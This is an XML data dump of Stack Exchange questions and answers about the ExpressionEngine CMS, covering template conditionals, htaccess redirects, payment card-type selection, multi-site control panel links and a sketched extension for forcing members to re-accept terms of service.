  <row Id="32373" PostTypeId="2" ParentId="32371" CreationDate="2015-07-20T20:21:49.627" Score="1" Body="&lt;p&gt;You're probably going to get errors/warnings for not using MySQLi or PDO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/migration55.deprecated.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/migration55.deprecated.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/migration56.deprecated.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/migration56.deprecated.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's not a ton of functional deprecation from 5.4 to 5.6, so I predict you'll be fine. However, I highly recommend upgrading your EE install; it is foolish not to. To answer your question directly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will probably be a functional site; but expect PHP warnings and deprecation notices.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-20T20:21:49.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32374" PostTypeId="2" ParentId="32361" CreationDate="2015-07-20T22:05:27.433" Score="0" Body="&lt;p&gt;You cannot control access to channel content based on group membership in native EE. So far as I know Hooblong is the only module that gives that kind of control. HooKan can't help either since HooKan only makes normal `control panel features more accessible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With native EE, if you want members of group A to only access entries belonging to channel X, for example, then your template must use the &lt;code&gt;channel=&quot;X&quot;&lt;/code&gt; parameter. To make that dynamic, you will need a conditional something like &lt;code&gt;{if logged_in_group_id == 'groupA_ID'}Something{/if}&lt;/code&gt;in your template around your channel entries tag. Unfortunately you would need this for each channel/group combination, so your template can become quite complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.debeer.com/index.php/hooblong&quot; rel=&quot;nofollow&quot;&gt;Hooblong&lt;/a&gt; just takes care of all that once you have set it up&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="115" LastEditDate="2015-07-21T00:54:22.463" LastActivityDate="2015-07-21T00:54:22.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32375" PostTypeId="2" ParentId="32354" CreationDate="2015-07-21T00:36:49.723" Score="1" Body="&lt;p&gt;There is nothing built in to Store that would allow you to prevent a particular card type from being processed at the module level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the gateway required the &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#card_type&quot; rel=&quot;nofollow&quot;&gt;card type&lt;/a&gt; you would be able to use a select and omit any card types you did not want to support. So for example you could do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment[card_type]&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select one...&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;visa&quot;&amp;gt;Visa&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;mastercard&quot;&amp;gt;MasterCard&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;discover&quot;&amp;gt;Discover&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you only wanted to support Visa, MasterCard and Discover but not Amex. Stripe however does not require the card type to be submitted for a successful transaction. I also don't think that submitting the wrong card type would cause the transaction to fail as a result (even if you added &lt;code&gt;data-stripe=&quot;card_type&quot;&lt;/code&gt;). Having the select however would give a visual cue to the end user that Amex is not accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a JS option is out of the question you should be able to use the &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#store_payment_request_start&quot; rel=&quot;nofollow&quot;&gt;store_payment_request_start&lt;/a&gt; hook to do any additional processing/validation before the transaction to sent to the payment processor.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-07-21T04:51:29.093" LastActivityDate="2015-07-21T04:51:29.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32376" PostTypeId="1" CreationDate="2015-07-21T08:31:44.123" Score="0" ViewCount="85" Body="&lt;p&gt;We have an embed that shows latest posts on the home page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;/embeds/.sidebar_articles}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works. But when I go to change anything in it, such as filtering the posts or even just making a text change nothing updates on the live website. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;section&quot;}&#xA;&#xA;    {if segment_3 == &quot;&quot;}&#xA;&#xA;            {!-- ============================================&#xA;&#xA;            DISPLAY A LIST OF MOST READ ARTICLES FROM THE&#xA;            CURRENT CATEGORY. FOR HOME PAGE- DISPLAY ACROSS&#xA;            ALL CATEGORIES.&#xA;&#xA;            ============================================= --}&#xA;&#xA;            &amp;lt;div class=&quot;art-preview&quot;&amp;gt;&#xA;            {exp:channel:entries&#xA;                channel=&quot;sections&quot;&#xA;                limit=&quot;3&quot;&#xA;                dynamic=&quot;off&quot;&#xA;                {if segment_2}category=&quot;{segment_2_category_id}&quot;{/if}&#xA;                orderby=&quot;view_count_one&quot; }&#xA;&#xA;                {if count == &quot;1&quot;}&#xA;                    {if segment_2 == &quot;&quot;}&#xA;                    &amp;lt;h3&amp;gt;Most read stories&amp;lt;/h3&amp;gt;&#xA;                    {if:else}&#xA;                    &amp;lt;h3&amp;gt;Popular in &amp;lt;span data-source=&quot;{segment_2}&quot;&amp;gt;{segment_2_category_name}&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;                &amp;lt;a href=&quot;/section/{segment_2}/{url_title}&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;preview&quot;&amp;gt;&#xA;                    {if article_cover_image}&#xA;                        {exp:ce_img:pair src=&quot;{article_cover_image}&quot; width=&quot;160&quot; height=&quot;160&quot; crop=&quot;yes&quot;}&#xA;                        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot;&amp;gt;&#xA;                        {/exp:ce_img:pair}&#xA;                    {if:else}&#xA;                        &amp;lt;img src=&quot;http://placehold.it/160x160&quot;&amp;gt;&#xA;                    {/if}&#xA;                        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;meta&quot;&amp;gt;Last edited {edit_date format='%d/%m/%y'}&amp;lt;/div&amp;gt;&#xA;                        {!-- &amp;lt;div class=&quot;lead&quot;&amp;gt; {article_lead} &amp;lt;/div&amp;gt; --} &#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            {/exp:channel:entries}                          &#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /art-preview --&amp;gt;&#xA;&#xA;&#xA;    {if:else}&#xA;&#xA;            {!-- ============================================&#xA;&#xA;            DISPLAY A LIST OF ENTRIES FROM THE SAME CATEGORY&#xA;            AS THE CURRENT ARTICLE.&#xA;&#xA;            ============================================= --}&#xA;&#xA;            &amp;lt;div class=&quot;art-preview&quot;&amp;gt;&#xA;            {exp:channel:entries&#xA;                channel=&quot;sections&quot;&#xA;                limit=&quot;3&quot;&#xA;                dynamic=&quot;off&quot;&#xA;                {if segment_2}category=&quot;{segment_2_category_id}&quot;{/if}&#xA;                url_title=&quot;not {segment_3}&quot;}&#xA;&#xA;                {if count == &quot;1&quot;}&amp;lt;h3&amp;gt;Related&amp;lt;/h3&amp;gt;{/if}&#xA;&#xA;                &amp;lt;a href=&quot;/section/{segment_2}/{url_title}&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;preview&quot;&amp;gt;&#xA;                    {if article_cover_image}&#xA;                        {exp:ce_img:pair src=&quot;{article_cover_image}&quot; width=&quot;160&quot; height=&quot;160&quot; crop=&quot;yes&quot;}&#xA;                        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot;&amp;gt;&#xA;                        {/exp:ce_img:pair}&#xA;                    {if:else}&#xA;                        &amp;lt;img src=&quot;http://placehold.it/160x160&quot;&amp;gt;&#xA;                    {/if}&#xA;                        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;meta&quot;&amp;gt;Last edited {edit_date format='%d/%m/%y'}&amp;lt;/div&amp;gt;&#xA;                        {!-- &amp;lt;div class=&quot;lead&quot;&amp;gt; {article_lead} &amp;lt;/div&amp;gt; --}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;&#xA;            {/exp:channel:entries}                      &#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /art-preview --&amp;gt;&#xA;&#xA;    {/if}&#xA;&#xA;{if:else}&#xA;&#xA;&#xA;            &amp;lt;div class=&quot;art-preview&quot;&amp;gt;&#xA;            {exp:channel:entries&#xA;                channel=&quot;sections&quot;&#xA;                limit=&quot;3&quot;&#xA;                dynamic=&quot;off&quot;&#xA;                {if segment_1 == &quot;&quot;}orderby=&quot;view_count_one&quot;{/if}}&#xA;&#xA;                {if count == &quot;1&quot;}&#xA;                    {if segment_1 == &quot;&quot;}&#xA;                    &amp;lt;h3&amp;gt;Most read stories&amp;lt;/h3&amp;gt;&#xA;                    {if:else}&#xA;                    &amp;lt;h3&amp;gt;Latest News&amp;lt;/h3&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;                &amp;lt;a href=&quot;/section/{categories}{category_url_title}{/categories}/{url_title}&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;preview&quot;&amp;gt;&#xA;                    {if article_cover_image}&#xA;                        {exp:ce_img:pair src=&quot;{article_cover_image}&quot; width=&quot;160&quot; height=&quot;160&quot; crop=&quot;yes&quot;}&#xA;                        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot;&amp;gt;&#xA;                        {/exp:ce_img:pair}&#xA;                    {if:else}&#xA;                        &amp;lt;img src=&quot;http://placehold.it/160x160&quot;&amp;gt;&#xA;                    {/if}&#xA;                        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;meta&quot;&amp;gt;Last edited {edit_date format='%d/%m/%y'}&amp;lt;/div&amp;gt;&#xA;                        {!-- &amp;lt;div class=&quot;lead&quot;&amp;gt; {article_lead} &amp;lt;/div&amp;gt; --}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            {/exp:channel:entries}                          &#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /art-preview --&amp;gt;&#xA;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried pasting this code direct into the template, it shows up but again doesn't show any changes made.&lt;/p&gt;&#xA;" OwnerUserId="3539" LastActivityDate="2016-05-24T07:50:40.210" Title="Embed not updating" Tags="|embeds|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="32377" PostTypeId="1" AcceptedAnswerId="32378" CreationDate="2015-07-21T10:38:18.363" Score="1" ViewCount="6665" Body="&lt;p&gt;I have an event website and I want visitors to www.example.org to be redirected to www.example.org/todays-info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;todays-info&quot; is an entry, and I have &quot;Enable strict URL'S&quot; set to No so that I can leave out the template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Cloudflare, and want to cache the html of www.example.org/todays-info to reduce the load on the server, so I want everyone sent to that specific page on visiting so they hit the cached page rather than the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the standard htaccess from Ellis Lab to remove index.php and when I try this redirect I just get into a loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /  http://www.example.org/todays-info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that the rewrite to remove index.php is part of the problem.&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2015-07-21T11:10:04.193" Title="How to redirect empty url to a specific page" Tags="|htaccess|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32378" PostTypeId="2" ParentId="32377" CreationDate="2015-07-21T11:10:04.193" Score="3" Body="&lt;p&gt;My friend... I'm afraid your syntax is incorrect. Place this rule &lt;strong&gt;after&lt;/strong&gt; your index.php rewrites (at the end of the standard EllisLab htaccess file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 ^/?$ http://www.example.org/todays-info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the magic you seek. The second parameter of a RedirectMatch is a &lt;strong&gt;regular expression&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-21T11:10:04.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32379" PostTypeId="1" CreationDate="2015-07-21T13:11:57.830" Score="0" ViewCount="38" Body="&lt;p&gt;Is it possible to disable the ability to check multiple categories for an entry in the control panel, only leaving the option to check one category?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastEditorUserId="3335" LastEditDate="2015-07-21T13:21:33.887" LastActivityDate="2016-06-05T16:57:02.240" Title="Disable the ability to check multiple categories" Tags="|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32380" PostTypeId="2" ParentId="32379" CreationDate="2015-07-21T13:23:39.597" Score="0" Body="&lt;p&gt;If I actually understand you question, no, it's not possible with native EE. You would need to write a custom add-on. However, with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/software/expressionengine/primary_category&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/software/expressionengine/primary_category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can can probably add both of those categories as Primary Categories; and only one should be selectable. It probably isn't exactly what you want, but I'm not sure. Check out the docs (or just download it and test it on a dev server, it's free anyways) and see if this is right for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/primary_category/control_panel/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/primary_category/control_panel/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-21T13:23:39.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32381" PostTypeId="1" AcceptedAnswerId="32382" CreationDate="2015-07-21T13:51:56.253" Score="0" ViewCount="73" Body="&lt;p&gt;Using MSM with EE v2.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 'View site' button in the top right hand corner of the control panel only links to the default_site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal behaviour? Is there a config setting that could be conflicting and causing this?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-07-21T16:26:03.150" Title="(MSM) 'View Site' CP Link" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32382" PostTypeId="2" ParentId="32381" CreationDate="2015-07-21T14:31:36.720" Score="0" Body="&lt;p&gt;This is kind of a bug, but also kinda by design. When you setup secondary sites in the control panel, you never actually enter a Site URL for your those sites, so the control panel never actually &lt;em&gt;knows&lt;/em&gt; what your other site URLs are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;em&gt;templates&lt;/em&gt; know, because when you add your custom MSM config variables to your secondary sites' you set it explicitly via &lt;code&gt;$assign_to_config['site_url']&lt;/code&gt; - but again, the CP doesn't load this file or even know it exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the View Site link is working &quot;correctly&quot;, but it's bad UI. You may want to &lt;a href=&quot;https://support.ellislab.com/bugs&quot; rel=&quot;nofollow&quot;&gt;file a bug with EllisLab&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-07-21T16:26:03.150" LastActivityDate="2015-07-21T16:26:03.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32383" PostTypeId="1" CreationDate="2015-07-21T21:16:17.827" Score="0" ViewCount="56" Body="&lt;p&gt;We have a client that has their users agree to a particular terms-of-service agreement when they register for an account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;strong&gt;not&lt;/strong&gt; the standard EE &quot;terms of service&quot; as it's different for the member depending on what member group their are part of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had been doing this with a conditional statement and Solspace's User module's register functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the client needs to be able to have the members &quot;re-agree&quot; to a different TOS if their member group changes when a site admin changes it in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If Jason's member group is not the same as the last time he logged in and is one of these specific member groups, make him have to agree to this new TOS via a modal window (.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone familiar with how to accomplish this or an add-on that can manage that? It doesn't have to be a modal window, but figured that would get the user's attention.&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2015-07-22T14:56:32.277" Title="Make a member have to &quot;re-agree&quot; to a site's TOS when their member group changes" Tags="|members|solspace-user|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32384" PostTypeId="1" CreationDate="2015-07-21T21:58:14.760" Score="0" ViewCount="82" Body="&lt;p&gt;In creating page titles based on URL segments (for list pages), we have utilized conditionals that point to the segment urls for conditional inclusion.  HOWEVER when the page source is viewed (and the page is indexed), the conditionals that are not met leave extra spaces within the Meta Title text.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Chocolate {if segment_2 == &quot;&quot;} Cookie{/if}{if segment_2 !=  &quot;any&quot;} {segment_2_category_name}{/if}{if segment_3 != &quot;any&quot;} {segment_3_category_name}{/if}{if segment_4!= &quot;any&quot;} {segment_4_category_name}{/if} Recipes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results in Meta title (the dots are extra spaces):  Chocolate Cookie.....Recipes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra spaces should not be included BUT if the other segments are filled in, the spacing is correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chocolate Raisin Caramel Cookies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the unmet conditional leave a space? - AND how do we get rid of it?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditDate="2015-07-21T22:57:25.743" LastActivityDate="2016-05-29T12:37:52.140" Title="IF conditional using segment_url leave a blank space in text" Tags="|conditionals|url|segments|advanced-conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32386" PostTypeId="2" ParentId="32384" CreationDate="2015-07-21T23:19:40.527" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Chocolate&amp;amp;nbsp;{if segment_2 == &quot;&quot;}&amp;amp;nbsp;Cookie{if:elseif segment_2 !=  &quot;any&quot;} {segment_2_category_name}{if:elseif segment_3 != &quot;any&quot;}&amp;amp;nbsp;{segment_3_category_name}{if:elseif segment_4!= &quot;any&quot;}&amp;amp;nbsp;{segment_4_category_name}{/if}&amp;amp;nbsp;Recipes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-21T23:19:40.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32387" PostTypeId="2" ParentId="32383" CreationDate="2015-07-21T23:40:47.467" Score="1" Body="&lt;p&gt;Basically, you're going to want to use an extension that hooks this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;member_update_start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-update-start&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-update-start&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A in your extension, do something like this (pseudo code, don't got time to write up a full thing for you):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_tos_member_update_start($member_id, $data)&#xA;{&#xA;    $old_member_gr = ee()-&amp;gt;db-&amp;gt;select('member_group')&#xA;                         -&amp;gt;from('exp_members')&#xA;                         -&amp;gt;where('member_id', $member_id)&#xA;                         -&amp;gt;get-&amp;gt;row_array();&#xA;&#xA;    if ($old_member_gr['member_group'] != $data['member_group'])&#xA;    {&#xA;        // our user has changed their member group&#xA;        // here, you could insert a row into a custom table &#xA;        // that says member_id, and flag a &quot;changed column&quot;,&#xA;        // and the new group&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you could write another function in this extension that hooks on to (one of the member_login hooks, just picking this one):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;member_member_login_single&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_auth/index.html#member-member-login-start&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_auth/index.html#member-member-login-start&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that does something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_tos_member_member_login_single($hook_data)&#xA;{&#xA;    $check = ee()-&amp;gt;db-&amp;gt;select('changed_column')&#xA;                     -&amp;gt;from('exp_check_tos') // custom table&#xA;                     -&amp;gt;get-&amp;gt;row_array();&#xA;&#xA;    // did we submit with a checked TOS?&#xA;    if (ee()-&amp;gt;input-&amp;gt;post('new_TOS))&#xA;    {&#xA;        // delete my flagged row from exp_check_tos!&#xA;    }&#xA;&#xA;    // if not are we flagged for NEEDING one?&#xA;    else if ($check['changed_column'] == &quot;true&quot;)&#xA;    {&#xA;        if (!ee()-&amp;gt;input-&amp;gt;post('new_TOS'))&#xA;        {&#xA;            // didn't recheck the TOS !!!&#xA;            // redirect to login form with TOS flag&#xA;            ee()-&amp;gt;function-&amp;gt;redirect('login-form?tos=1');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you can use the input class in your login form to see if they are flagged to recheck their TOS (I forget the login form tag so I'm making it up):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:login:form}&#xA;&#xA;    &amp;lt;?php&#xA;    if (ee()-&amp;gt;input-&amp;gt;get('tos'))&#xA;    {&#xA;    ?&amp;gt; &#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;new_TOS&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;{/exp:login:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yea, that's kinda a convoluted answer, but I basically thought out your custom addon for you :)&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-22T14:56:32.277" LastActivityDate="2015-07-22T14:56:32.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32388" PostTypeId="2" ParentId="30450" CreationDate="2015-07-22T06:41:15.530" Score="1" Body="&lt;p&gt;Should use 'change' event instead of click. Cause user may not select any new file, then it will remove the existing file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{url}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo&quot; value=&quot;{file_id}&quot; id=&quot;cur_file_id&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; name=&quot;member_photo&quot; id=&quot;file_upload&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo_filedir&quot; value=&quot;8&quot;&amp;gt;`&#xA;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;{/member_photo}&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  $(&quot;#file_upload&quot;).change(function (){&#xA;    $('#cur_file_id').val('');&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6112" LastEditorUserId="1100" LastEditDate="2015-07-22T14:14:48.730" LastActivityDate="2015-07-22T14:14:48.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32389" PostTypeId="1" AcceptedAnswerId="32438" CreationDate="2015-07-22T12:54:43.590" Score="1" ViewCount="42" Body="&lt;p&gt;I have this conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{spieldaten_datum:first unit=&quot;month&quot;}' == 'y'}&#xA; Blabla whatever&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my mamp environment with php 5.5.10 it all looks fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my live Server with php 5.5.26 a part of the conditional is actually displayed like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HoKmC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HoKmC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this has to do with the nesting of &lt;code&gt;''&lt;/code&gt; and &lt;code&gt;&quot;&quot;&lt;/code&gt; But why is it working on one environment but not on the other. How do I need to write this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tag &lt;code&gt;{spieldaten_datum:first unit=&quot;month&quot;}&lt;/code&gt; is from the low events plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ee version: 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2015-07-27T13:13:45.753" Title="EE Conditionals failing due to '' and &quot;&quot;" Tags="|conditionals|low-events|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32390" PostTypeId="2" ParentId="32389" CreationDate="2015-07-22T13:04:42.740" Score="0" Body="&lt;p&gt;&lt;strong&gt;Always use duplicate environments between development and production machines&lt;/strong&gt;. There are so many environment variables to compare:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Apache config&lt;/li&gt;&#xA;&lt;li&gt;Apache version&lt;/li&gt;&#xA;&lt;li&gt;PHP agent config&lt;/li&gt;&#xA;&lt;li&gt;PHP agent version&lt;/li&gt;&#xA;&lt;li&gt;OS environment&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are your operating systems different? Remember that Linux and Windows use &lt;strong&gt;different&lt;/strong&gt; line ending characters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windows: &quot;\r\n&quot;&#xA;Linux: &quot;\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are you saving your files in Windows set to Windows line-endings and then moving them to a Linux server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend duplicating your development and production environments. This could still be unrelated to this issue, but there is so many variables, and since it's clearly working in one place and not the other, I think we have a fantastic clue to the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure you have duplicate templates and Low Events (same version please!!) between the two environments? This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot; == 'y'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;looks like this to me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if 'something-is-not-showing-up-here' == 'y'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-22T13:16:44.477" LastActivityDate="2015-07-22T13:16:44.477" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
